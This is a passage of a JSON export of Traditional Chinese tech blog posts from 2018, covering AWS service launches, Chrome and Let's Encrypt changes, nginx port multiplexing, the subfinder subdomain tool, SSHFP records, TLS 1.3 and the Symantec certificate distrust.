unix timestamp (ms) 的 <code>https://www.example.com/1531843366123.jpg</code> 變成 <code>https://www.example.com/6123/1531843366123.jpg</code>，這樣可以讓 Amazon S3 的後端依照 prefix 打散 loading，避免當站愈來愈大的時候很難處理。",
    "title": "Amazon S3 提供更高的存取量..."
  },
  {
    "id": "8410",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈提供自帶 IP 到 AWS 上的服務了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/07/announcing-bring-your-own-ip-for-amazon-virtual-private-cloud-preview/\">Announcing Bring Your Own IP for Amazon Virtual Private Cloud (Preview)</a>」。\r\n\r\n目前只在 <code>us-west-2</code> 有，另外需要申請：\r\n\r\n<blockquote>Bring Your Own IP is available for preview in the US West (Oregon) region. You can request access to this feature by completing this request form.</blockquote>\r\n\r\n不知道是不是直接放 routing 出來？如果是的話，照慣例 IPv4 應該是至少要 <code>/24</code>？從申請表格上看起來像是這樣沒錯：\r\n\r\n<blockquote>IPv4 Prefix you want to onboard. You need a minimum of /24 ARIN registered prefix. The Net Type should either be Allocated or Assigned:</blockquote>",
    "title": "AWS 提供自帶 IP 到 AWS 上的服務了..."
  },
  {
    "id": "8411",
    "body": "因為平常用的 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 是 beta channel，前陣子出新版後網址遇到 <code>www</code> 與 <code>m</code> 時就會不見，像是網址輸入 <code>https://www.google.com</code>，在連上後會變成這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/H0EDCwl.webp\" /><img src=\"https://i.gslin.com/imgur/H0EDCwl.jpg\" alt=\"\" /></picture>\r\n\r\n這樣讓人很不習慣，當時在網路上找了一些資料都沒找到，結果剛剛找資料時意外發現找到解法了：「<a href=\"https://superuser.com/questions/1333575/chrome-address-bar-no-longer-shows-protocol-or-www-subdomain\">Chrome address bar no longer shows protocol or www subdomain</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/IJ39Jhx.jpg\" alt=\"\" />\r\n\r\n把這個選項改成 Disabled 後，重開瀏覽器就恢復原來的行為了...",
    "title": "關閉新版 Google Chrome 網址列雞婆省略 www 的行為..."
  },
  {
    "id": "8415",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 又擴點的消息了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Amazon CloudFront announces nine new Edge locations globally across major cities in North America, Europe &amp; Asia! <a href=\"https://t.co/HoQmJLtBPJ\">https://t.co/HoQmJLtBPJ</a> <a href=\"https://t.co/54TDIEiDaX\">pic.twitter.com/54TDIEiDaX</a></p>&mdash; Amazon Web Services (@awscloud) <a href=\"https://twitter.com/awscloud/status/1021899686628745217?ref_src=twsrc%5Etfw\">July 24, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n點進去一看發現亞洲的點又是擴東京：\r\n\r\n<blockquote>And in Asia, one Edge location is being added in Tokyo, Japan, our ninth in the city.</blockquote>\r\n\r\n同樣是日本，不考慮擴一下大阪的點嗎... 或是加開名古屋的點？(蠻多海纜從志摩跟豐橋拉上去的)",
    "title": "CloudFront 在東京又擴點了..."
  },
  {
    "id": "8420",
    "body": "<a href=\"https://nginx.org/\">nginx</a> 的新功能，單一 port 支援多服務：「<a href=\"https://www.nginx.com/blog/running-non-ssl-protocols-over-ssl-port-nginx-1-15-2/\">Running SSL and Non-SSL Protocols over the Same Port with NGINX 1.15.2</a>」，最常見的還是混搭 SSH 了：\r\n\r\n<blockquote>One key feature in this release is the new $ssl_preread_protocol variable, which allows you to distinguish between SSL/TLS and other protocols when forwarding traffic using a TCP (stream) proxy. This is useful if you want to avoid firewall restrictions by (for example) running SSL/TLS and SSH services on the same port.</blockquote>\r\n\r\n雖然 L7 firewall 還是可以看出來 (並且擋下)，但簡易的 firewall 就可以用這個方式穿過去了...",
    "title": "nginx 1.15.2 開始支援單一 Port 多服務..."
  },
  {
    "id": "8421",
    "body": "<a href=\"https://www.google.com/\">Google</a> 在 stable channel 發布了 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 68，這是 Chrome 第一個將所有 HTTP 站台都標成 insecure 的版本：「<a href=\"https://chromereleases.googleblog.com/2018/07/stable-channel-update-for-desktop.html\">Stable Channel Update for Desktop</a>」。取自二月時的圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/chyGeXD.webp\" /><img src=\"https://i.gslin.com/imgur/chyGeXD.jpg\" alt=\"\" /></picture>\r\n\r\n文章內也說明了這個改變：\r\n\r\n<blockquote>In Chrome 68, Chrome will show the “Not secure” warning on all HTTP pages. We announced this in a blog post published on February 8th on Google’s Chromium and Online Security blogs.</blockquote>\r\n\r\n雖然之前 Google 一直在推動，但應該還是很多單位沒在管...",
    "title": "Google Chrome 68，第一個將所有 HTTP 站台都標成 Insecure 的版本"
  },
  {
    "id": "8422",
    "body": "在「<a href=\"https://torrentfreak.com/bittorrent-inc-confirms-acquisition-by-tron-foundation-180724/\">BitTorrent Inc. Officially Confirms Acquisition by TRON Foundation</a>」這邊看到的消息，<a href=\"https://www.bittorrent.com/\">BitTorrent Inc.</a> 這邊的新聞稿在「<a href=\"http://blog.bittorrent.com/2018/07/23/its-official-bittorrent-is-now-part-of-tron/\">It’s Official: BitTorrent Is Now Part of TRON!</a>」。\r\n\r\nBitTorrent Inc. 一直找不到方向，結果被 cryptocurrency 這邊領域的買走了，後面的方向其實不太需要猜，一般使用者大概都不會愛...\r\n\r\nclient 的部份我跳船很久了，目前在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 下主要是以 <a href=\"https://rakshasa.github.io/rtorrent/\">RTorrent</a> 為主，而 Windows 上有在用 <a href=\"https://www.qbittorrent.org/\">qBittorrent</a>。還沒跳船的趁這次可以參考一下...",
    "title": "TRON 買下 BitTorrent Inc."
  },
  {
    "id": "8423",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 照慣例發表了 2018 Q2 的硬碟狀況：「<a href=\"https://www.backblaze.com/blog/hard-drive-stats-for-q2-2018/\">Hard Drive Stats for Q2 2018</a>」。可以看出來他們基本上只用 <a href=\"https://www.seagate.com/\">Seagate</a> 與 <a href=\"https://www.hgst.com/\">HGST</a> 了，其他的應該是嘗試性質：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RQBtT2U.webp\" /><img src=\"https://i.gslin.com/imgur/RQBtT2U.jpg\" alt=\"\" /></picture>\r\n\r\n第二張因為把信心區間標出來，會更清楚：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ORCEM0M.webp\" /><img src=\"https://i.gslin.com/imgur/ORCEM0M.jpg\" alt=\"\" /></picture>\r\n\r\nWD 差了一大截，所以現在消費級的硬碟會選 Seagate 或是 HGST？",
    "title": "Backblaze 在 2018 Q2 的硬碟故障率報告"
  },
  {
    "id": "8424",
    "body": "在「<a href=\"https://ssorc.tw/7107\">subfinder – 找子網域的工具</a>」這邊看到的，專案是用 <a href=\"https://golang.org/\">Golang</a> 寫的，需要 Golang 1.10+ 才能裝... 這類工具在 <a href=\"https://en.wikipedia.org/wiki/Penetration_test\">PT</a> 找入口時還蠻好用的。\r\n\r\n裝完後馬上跑個熱門的 <code>./subfinder -d teamkp.tw</code> 可以看到不多：\r\n\r\n<pre>Total 4 Unique subdomains found for teamkp.tw\r\n\r\n.teamkp.tw\r\ndonate.teamkp.tw\r\nwww.donate.teamkp.tw\r\nwww.teamkp.tw</pre>\r\n\r\n加上 <code>-v</code> 則可以看到來源。",
    "title": "找子網域的 subfinder"
  },
  {
    "id": "8425",
    "body": "上個禮拜 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 就放話預定要推出 <code>r5</code>、<code>r5d</code>、<code>z1d</code> 三種機器，但當時沒公佈價錢，只公佈了規格，這樣就沒辦法比較成本。尤其 R 系列的機器主要就是看記憶體的單位成本...\r\n\r\n今天總算是正式推出公開價錢了：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-r5-r5d-and-z1d-instances/\">Now Available: R5, R5d, and z1d Instances</a>」。\r\n\r\n拿 <code>r{4,5}.large</code> 比較，都是 2 vCPU，但 r5 的 ECU 快了一些，記憶體多了一些，價錢少了一些：\r\n\r\n<table>\r\n<tr>\r\n<th></th><th>vCPU</th><th>ECU</th><th>Memory (GiB)</th><th>Instance Storage (GB)</th><th>Linux/UNIX Usage</th>\r\n</tr>\r\n<tr>\r\n<td>r5.large</td><td>2</td><td>8</td><td>16 GiB</td><td>EBS Only</td><td>$0.126 per Hour</td>\r\n</tr>\r\n<tr>\r\n</td><td>r4.large</td><td>2</td><td>7</td><td>15.25 GiB</td><td>EBS Only</td><td>$0.133 per Hour</td>\r\n</tr>\r\n</table>\r\n\r\n完全是個「麵多一點、湯多一點，但錢少一點」的概念 XD\r\n\r\n另外這次推出的 <code>z1d</code> 系列主打高時脈：\r\n\r\n<blockquote>The high frequency z1d instances use custom Intel® Xeon® Scalable Processors running at up to 4.0 GHz, powered by sustained all-core Turbo Boost, perfect for Electronic Design Automation (EDA), financial simulation, relational database, and gaming workloads that can benefit from extremely high per-core performance.</blockquote>\r\n\r\n<table>\r\n<tr>\r\n<th></th><th>vCPU</th><th>ECU</th><th>Memory (GiB)</th><th>Instance Storage (GB)</th><th>Linux/UNIX Usage</th>\r\n</tr>\r\n<tr>\r\n<td>z1d.large</td><td>2</td><td>11</td><td>16 GiB</td><td>1 x 75 NVMe SSD</td><td>$0.186 per Hour</td>\r\n</tr>\r\n</table>\r\n\r\n對於沒有辦法利用平行化加速的工作會有幫助，不過在目前 EC2 的價位表上面大概是因為比 <code>r4</code> 的記憶體還多，所以放在「Memory Optimized - Current Generation」而不是 Compute Optimized，不知道實際上用的時候會偏向哪塊...",
    "title": "EC2 推出了 R5、R5d、z1d 三種機器..."
  },
  {
    "id": "8426",
    "body": "<a href=\"https://aws.amazon.com/amazon-mq/\">Amazon MQ</a> 在 <code>ap-northeast-{1,2}</code> 推出了，先前自己架的，現在可以直接拿現成的服務了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/07/amazon-mq-is-now-available-in-the-asia-pacific-seoul-and-asia-pacific-tokyo-regions/\">Amazon MQ is Now Available in the Asia Pacific (Seoul) and Asia Pacific (Tokyo) regions</a>」。\r\n\r\n不過 <a href=\"https://aws.amazon.com/\">AWS</a> 上的開發主要還是以 <a href=\"https://aws.amazon.com/sqs/\">SQS</a> 之類的服務為主，可以避免 scalability 的問題 (另外一種可能是一開始就打定要搬出來，所以選擇 open protocol 的方案)。在這樣的前提下，Amazon MQ 的定位就變成將現有軟體丟上去跑... (而不想自己管 XD)",
    "title": "Amazon MQ 在 ap-northeast-{1,2} 推出了..."
  },
  {
    "id": "8427",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://github.com/\">GitHub</a> 把網站上的 <a href=\"https://jquery.com/\">jQuery</a> 都拔乾淨了。因為現代瀏覽器大多都可以直接來，或是有其他方案可以用：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">We’re finally finished removing jQuery from <a href=\"https://t.co/r2QL2aHBfa\">https://t.co/r2QL2aHBfa</a> frontend. What did we replace it with? No framework whatsoever:<br><br>• querySelectorAll,<br>• fetch for ajax,<br>• delegated-events for event handling,<br>• polyfills for standard DOM stuff,<br>• CustomElements on the rise.</p>&mdash; Mislav Marohnić (@mislav) <a href=\"https://twitter.com/mislav/status/1022058279000842240?ref_src=twsrc%5Etfw\">July 25, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n<code>querySelectorAll</code> 是 IE9+ 我可以理解，不過 <code>Fetch</code> 查了資料發現是 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Edge\">Edge</a> 才支援的 (而且還要新一點的 Edge)，找 GitHub 文件看到「<a href=\"https://help.github.com/articles/supported-browsers/\">Supported browsers</a>」這篇，看起來 GitHub 網站直接放掉 IE 啊，另外 <a href=\"https://www.mozilla.org/firefox/organizations/\">Firefox ESR</a> 也是 best effort 而已，能這樣規劃跟網站性質有關係，一般網站還是得考慮 IE11 (因為 Windows 7)...",
    "title": "GitHub 的網站拿掉 jQuery 了..."
  },
  {
    "id": "8429",
    "body": "<a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 的 <a href=\"https://aws.amazon.com/dynamodb/global-tables/\">Global Tables</a> 可以把 DynamoDB 複製到其他區域，讓各地存取自己的資料：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JtRFUXv.webp\" /><img src=\"https://i.gslin.com/imgur/JtRFUXv.jpg\" alt=\"\" /></picture>\r\n\r\n剛剛看到 <a href=\"https://aws.amazon.com/\">AWS</a> 宣佈這個功能展到 <code>ap-northeast-1</code> (東京) 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/07/amazon-dynamodb-global-tables-regional-expansion/\">Amazon DynamoDB Global Tables Now Available in Three Additional Asia Pacific Regions</a>」。\r\n\r\n<blockquote>Global tables is now available in the Asia Pacific (Tokyo), Asia Pacific (Seoul), and Asia Pacific (Sydney) Regions.</blockquote>\r\n\r\n這樣測起來就更接近實際的情況了...",
    "title": "Amazon DynamoDB 的 Global Tables 推到東京了..."
  },
  {
    "id": "8430",
    "body": "雖然 <a href=\"https://slack.com/\">Slack</a> 這邊新聞稿的標題是「<a href=\"https://slackhq.com/atlassian-and-slack-partnership\">Atlassian + Slack</a>」，不過不是直接買下 <a href=\"https://www.atlassian.com/\">Atlassian</a>，而是收購 Atlassian 下面的兩個產品，<a href=\"https://www.hipchat.com/\">HipChat</a> 與 <a href=\"https://www.stride.com/\">Stride</a>。另外 Atlassian 這邊的新聞稿在這：「<a href=\"https://www.atlassian.com/blog/announcements/new-atlassian-slack-partnership\">Announcing our new partnership with Slack</a>」。\r\n\r\nHipChat 與 Stride 現有的使用者都會被轉移到 Slack，並且會終止這兩個產品線：\r\n\r\n<blockquote>As part of this partnership, Atlassian will discontinue Hipchat and Stride, and provide a migration path to Slack for all their customers. We are purchasing the IP for Hipchat Cloud and Stride to better support that path to Slack, while Atlassian is making a small, but symbolically important investment in our business.</blockquote>\r\n\r\n<blockquote>As part of this partnership, Atlassian has made an equity investment in Slack, and Slack has acquired the IP for Stride and Hipchat Cloud, both of which we will discontinue. We will also be discontinuing Hipchat Server and Hipchat Data Center and working with Slack to provide a migration path for customers of all four products.</blockquote>\r\n\r\n對使用者算是好下場吧，至少不是被完全不相干的單位收購... (像是前幾天的「<a href=\"https://blog.gslin.org/archives/2018/07/25/8422/tron-%E8%B2%B7%E4%B8%8B-bittorrent-inc/\">TRON 買下 BitTorrent Inc.</a>」)",
    "title": "Slack 收購 HipChat 與 Stride"
  },
  {
    "id": "8432",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://www.wireguard.com/\">WireGuard</a> 被收進 <a href=\"https://www.kernel.org/\">Linux Kernel</a> 了，等 review 完後就就會正式納入了... 而且 <a href=\"https://en.wikipedia.org/wiki/Linus_Torvalds\">Linus</a> 給的評價還蠻高的：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">It is official. wireguard vpn is now part of upstream linux kernel and here is what Linus said about it. <a href=\"https://t.co/FwxKi7fzX8\">pic.twitter.com/FwxKi7fzX8</a></p>&mdash; nixCraft (@nixcraft) <a href=\"https://twitter.com/nixcraft/status/1025340640463409152?ref_src=twsrc%5Etfw\">August 3, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n找了一下起源是「<a href=\"https://marc.info/?l=linux-netdev&amp;m=153306440208084&amp;w=2\">[PATCH v1 3/3] net: WireGuard secure network tunnel</a>」這邊，而 Twitter 上面引用的是「<a href=\"https://marc.info/?l=linux-netdev&amp;m=153323015908430&amp;w=2\">Re: [GIT] Networking</a>」這篇...",
    "title": "WireGuard 被收進 Linux Kernel 了..."
  },
  {
    "id": "8433",
    "body": "<a href=\"https://oalley.net/\">Oalley</a> 這個服務利用「交通時間」來評估地點，最簡單的應用像是給一個地點與時間，畫出範圍：\r\n\r\n<img src=\"https://i.gslin.com/imgur/Q1baQBW.jpg\" alt=\"\" />\r\n\r\n或是給多個點以及時間來評估地點：\r\n\r\n<img src=\"https://i.gslin.com/imgur/AuOOAIa.jpg\" alt=\"\" />\r\n\r\n不過後面是用 <a href=\"https://www.openstreetmap.org/\">OpenStreetMap</a> 的資料，我丟了幾個中文測試好像都找不到，用英文倒是可以...",
    "title": "依照交通時間，評估各種「地點」的服務..."
  },
  {
    "id": "8435",
    "body": "很久前看過 <a href=\"https://en.wikipedia.org/wiki/SSHFP_record\">SSHFP record</a>，當時支援度不高就忘記了... 剛剛在 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的這篇「<a href=\"https://blog.cloudflare.com/additional-record-types-available-with-cloudflare-dns/\">Additional Record Types Available with Cloudflare DNS</a>」看到發現 <a href=\"https://www.openssh.com/\">OpenSSH</a> 很久前就有支援了...\r\n\r\n用法是 <code>VerifyHostKeyDNS</code> 這個 option，像是 <code>ssh -o \"VerifyHostKeyDNS=yes\" -o \"StrictHostKeyChecking=yes\" hostname</code> 這樣的指令，對於 <code>~/.ssh/known_hosts</code> 裡沒有的機器，在第一次連線的時候會去查 DNS record，如果沒有查到的話就會中斷。\r\n\r\n產生 SSHFP record 的方式則是可以參考「<a href=\"https://unix.stackexchange.com/questions/121880/how-do-i-generate-sshfp-records\">How do I generate SSHFP records?</a>」這篇，也就是直接用 <code>sshkey-gen -r [hostname]</code>，程式就會去讀 <code>/etc/ssh/</code> 下的資料產生了。",
    "title": "SSH 的 SSHFP record"
  },
  {
    "id": "8436",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 宣佈他們的憑證被所有主流瀏覽器直接支援了，也就是都在各平台的 trusted store 內了：「<a href=\"https://letsencrypt.org/2018/08/06/trusted-by-all-major-root-programs.html\">Let's Encrypt Root Trusted By All Major Root Programs</a>」，看起來這次加入的是 <a href=\"https://www.microsoft.com/\">Microsoft</a> 的產品：\r\n\r\n<blockquote>As of the end of July 2018, the Let’s Encrypt root, ISRG Root X1, is directly trusted by Microsoft products. Our root is now trusted by all major root programs, including Microsoft, Google, Apple, Mozilla, Oracle, and Blackberry.</blockquote>\r\n\r\n先前是靠 <a href=\"https://www.identrust.com/\">IdenTrust</a> 的 cross signing 讓各瀏覽器信任，在「<a href=\"https://letsencrypt.org/certificates/\">Chain of Trust</a>」這邊有圖說明：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2NPy3na.webp\" /><img src=\"https://i.gslin.com/imgur/2NPy3na.jpg\" alt=\"\" /></picture>\r\n\r\n另外查了一下 cross signing 的資訊，以 Let's Encrypt Authority X3 這張的 cross signing 可以看到 cross sign 簽了五年，到 2021 年：(憑證可以從 <a href=\"https://letsencrypt.org/certs/letsencryptauthorityx3.pem.txt\">letsencryptauthorityx3.pem.txt</a> 這邊取得，用 <code>openssl x509 -in letsencryptauthorityx3.pem.txt -text</code> 看到)\r\n\r\n<pre>\r\n    Signature Algorithm: sha256WithRSAEncryption\r\n        Issuer: C = US, O = Internet Security Research Group, CN = ISRG Root X1\r\n        Validity\r\n            Not Before: Oct  6 15:43:55 2016 GMT\r\n            Not After : Oct  6 15:43:55 2021 GMT\r\n        Subject: C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3\r\n</pre>\r\n\r\n這樣約滿不知道會不會續簽...",
    "title": "Let's Encrypt 被所有主流瀏覽器直接支援了..."
  },
  {
    "id": "8438",
    "body": "<a href=\"https://github.com/\">GitHub</a> 也 open source 自家的 load balancer 了：「<a href=\"https://githubengineering.com/glb-director-open-source-load-balancer/\">GLB: GitHub's open source load balancer</a>」。\r\n\r\n如果翻一下歷史就會發現，夠大的單位都會遇到不同的 balancing 問題，然後都會開發自己的 load balancer，像是 <a href=\"https://www.google.com/\">Google</a> 放出來的 <a href=\"https://github.com/google/seesaw\">Seesaw</a>，<a href=\"https://www.ebay.com/\">eBay</a> 放出來的 <a href=\"https://neutrinoslb.github.io/\">Neutrino</a> (程式的 repository 在 <a href=\"https://github.com/eBay/Neutrino/\">eBay/Neutrino</a>)，<a href=\"https://www.facebook.com/\">Facebook</a> 放出來的 <a href=\"https://github.com/facebookincubator/katran\">Katran</a>。\r\n\r\n經濟規模夠大就能夠自己搞，然後針對自家的問題客製化去解... open source 能對社群帶來多大好處就未必了，主要還是做名聲而已，實際上大家還是繼續用 <a href=\"https://nginx.org/\">nginx</a> 跟 <a href=\"https://www.haproxy.org/\">HAProxy</a>，或是買商業方案來先撐著。",
    "title": "GitHub 也 open source 自家的 Load Balancer 了..."
  },
  {
    "id": "8439",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈能 auto-scale 的 <a href=\"https://aws.amazon.com/rds/aurora/serverless/\">Aurora Serverless</a> MySQL 進入 GA：「<a href=\"https://aws.amazon.com/blogs/aws/aurora-serverless-ga/\">Aurora Serverless MySQL Generally Available</a>」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ftnpROn.webp\" /><img src=\"https://i.gslin.com/imgur/ftnpROn.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DKdnkaH.webp\" /><img src=\"https://i.gslin.com/imgur/DKdnkaH.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/IM7NwiL.webp\" /><img src=\"https://i.gslin.com/imgur/IM7NwiL.jpg\" alt=\"\" /></picture>\r\n\r\n不過目前開放的區域有限：\r\n\r\n<blockquote>Aurora Serverless for Aurora MySQL is available now in US East (N. Virginia), US East (Ohio), US West (Oregon), Europe (Ireland).</blockquote>\r\n\r\n以秒計費，但低消是 5 分鐘：\r\n\r\n<blockquote>You pay a flat rate per second of ACU usage, with a minimum of 5 minutes of usage each time the database is activated.</blockquote>\r\n\r\n以 <code>us-east-1</code> 的價錢來看，每個 ACU 是 USD$0.06/hour，而每個 ACU 大約是 standard instance 的價錢：\r\n\r\n<blockquote>1 ACU has approximately 2 GB of memory with corresponding CPU and networking, similar to what is used in Aurora Standard instances.</blockquote>\r\n\r\n但這沒看懂，是 <code>db.t2.small</code> 還是 <code>db.t2.medium</code>？另外比較是全速還是 <code>small</code> 的 20% 或 <code>medium</code> 的 40%？這部份也許還要再問看看才知道...\r\n\r\nstorage 與 I/O 的費用則是相同，倒是不用比較這塊... 再來不知道有沒有推出 Reserved ACU 的計畫，光是一年付清就差蠻多的。\r\n\r\n要不要換過去其實還是要看看使用的量，以及可以接受的成本來決定...",
    "title": "Aurora Serverless MySQL 進入 GA"
  },
  {
    "id": "8440",
    "body": "看到 RFC 8446 (<a href=\"https://www.rfc-editor.org/rfc/rfc8446.txt\">The Transport Layer Security (TLS) Protocol Version 1.3</a>) 正式推出了，也就是 <a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> 1.3 正式成為 <a href=\"https://www.ietf.org/\">IETF</a> 的標準 (Standards Track)。\r\n\r\n<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 寫了一篇文章「<a href=\"https://blog.cloudflare.com/rfc-8446-aka-tls-1-3/\">A Detailed Look at RFC 8446 (a.k.a. TLS 1.3)</a>」描述了 TLS 1.3 的特點，有興趣的人可以看一看，尤其是 1-RTT 的部份對效能幫助很大 (0-RTT 因為 replay attack 問題，我應該暫時都不會考慮，要等到有一個合理的防禦模型出來)。\r\n\r\n另外一個是 <a href=\"https://www.openssl.org/\">OpenSSL</a> 目前最新版是 1.1.0h，當初就決定要等 TLS 1.3 正式成為標準才會出 1.1.1 (參考「<a href=\"https://blog.gslin.org/archives/2017/05/08/7305/openssl-1-1-1-%E5%B0%87%E6%94%AF%E6%8F%B4-tls-1-3/\">OpenSSL 1.1.1 將支援 TLS 1.3</a>」，這也熬了一年啊... 支援後會就有很多軟體可以直接套用了，可以來期待了。 ",
    "title": "RFC 8446：TLS 1.3"
  },
  {
    "id": "8441",
    "body": "有人收到 <a href=\"https://www.dropbox.com/\">Dropbox</a> 在十一月後不支援的訊息，在官方論壇上問起：「<a href=\"https://www.dropboxforum.com/t5/Syncing-and-uploads/Dropbox-client-warns-me-that-it-ll-stop-syncing-in-Nov-why/m-p/290065/highlight/true#M42255\">Dropbox client warns me that it'll stop syncing in Nov, why?</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HImJpFP.webp\" /><img src=\"https://i.gslin.com/imgur/HImJpFP.jpg\" alt=\"\" /></picture>\r\n\r\n不過下面的人提到了很多 filesystem 都支援：(引用自維基百科的「<a href=\"https://en.wikipedia.org/wiki/Extended_file_attributes\">Extended file attributes</a>」)\r\n\r\n<blockquote>In Linux, the ext2, ext3, ext4, JFS, Squashfs, Yaffs2, ReiserFS, Reiser4, XFS, Btrfs, OrangeFS, Lustre, OCFS2 1.6 and F2FS filesystems support extended attributes (abbreviated xattr) when enabled in the kernel configuration.</blockquote>\r\n\r\n然後就吵起來了... 翻了一下，目前看起來還是沒打算支援 :o\r\n\r\n好像是個換到 <a href=\"https://syncthing.net/\">Syncthing</a> 的機會，先前只丟了音樂在上面。來研究一下 Syncthing 上面要怎麼疊 encrypted filesystem 來放其他資料...",
    "title": "Linux 版的 Dropbox 在十一月後將只支援 ext4..."
  },
  {
    "id": "8442",
    "body": "先前 <a href=\"https://www.raspberrypi.org/\">Raspberry Pi</a> 上只有貼小顆散熱片，當時測試如果是不裝殼的話效果還不錯，但為了保護的原因，決定在透明壓克力殼上打兩個洞後裝上去，結果效果沒有很好...\r\n\r\n昨天去光華弄了兩顆吃 GPIO 電的 Raspberry Pi 小風扇 (5V 0.2A)，把一顆丟進殼裡，也沒固定 (放在散熱片的位置上)，就算有透明殼的阻擋，效果也很明顯，看起來熱都透過之前的兩個洞散出來了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qCj9zdP.webp\" /><img src=\"https://i.gslin.com/imgur/qCj9zdP.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kSdIJzE.webp\" /><img src=\"https://i.gslin.com/imgur/kSdIJzE.jpg\" alt=\"\" /></picture>\r\n\r\n效果比室內開冷氣時還好，這樣可以比較安心的加壓 + overclock 了。\r\n\r\n之後也許可以找一下風扇固定的方式，會比較保險...",
    "title": "幫 Raspberry Pi 加風扇..."
  },
  {
    "id": "8443",
    "body": "<a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 的英文搜尋算是還堪用，而中文的話很慘，需要很精確的搜尋字才有辦法找到 (同義詞有點少)，但為了想辦法在 <a href=\"https://www.google.com/\">Google</a> 少留一些記錄，就還是把預設引擎設在 DuckDuckGo 上，另外寫了一個這個套件可以快速切到 Google 的搜尋引擎上，這樣在 DuckDuckGo 發現一看就知道不行時可以馬上切過去：「<a href=\"https://github.com/gslin/press-g-to-google-duckduckgo\">Press 'g' from DuckDuckGo's search result page to Google's.</a>」。\r\n\r\n在 <a href=\"https://github.com/\">GitHub</a> 頁面上有放安裝連結，就請自取吧...",
    "title": "在 DuckDuckGo 搜尋頁快速切換到 Google 的套件"
  },
  {
    "id": "8444",
    "body": "先前就有提到 <a href=\"https://www.google.com/chrome/\">Chrome</a> 與 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 因為 Symantec 的信任問題太大，都有打算終止信任 Symantec 的憑證了，而其他瀏覽器也都有陸陸續續公佈了類似的計畫，大家的時間表都抓差得不多...\r\n\r\n最近接近當時各家瀏覽器規劃的終止信任日，而在使用開發版本的 Chrome 與 Firefox 開始連不上一些網站了。我自己是走 beta channel 所以還沒中，不過好像也快了...\r\n\r\n我拿了「<a href=\"https://s3-us-west-1.amazonaws.com/umbrella-static/index.html\">Umbrella Popularity List</a>」這邊提供的前一百萬網站測，以 <code>.tw</code> 結尾的網站看起來就只剩下兩個還沒換了：\r\n\r\n<ul>\r\n\t<li>PChome，像是 <a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=24h.pchome.com.tw\">24h.pchome.com.tw</a>，憑證會在 2018/09/22 到期。</li>\r\n\t<li>麥當勞，像是 <a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=www.mcdonalds.com.tw&amp;s=2001%3a668%3a108%3a9a92%3a0%3a0%3a0%3a3654\">www.mcdonalds.com.tw</a>，憑證會在 2018/09/09 到期。</li>\r\n</ul>\r\n\r\n在蘋果的網站上有清單可以翻：「<a href=\"https://support.apple.com/en-us/HT208860\">Information for website operators about distrusting Symantec certificate authorities</a>」。",
    "title": "Symantec 系列的 SSL Certificate 陸續開始失效..."
  },
  {
    "id": "8445",
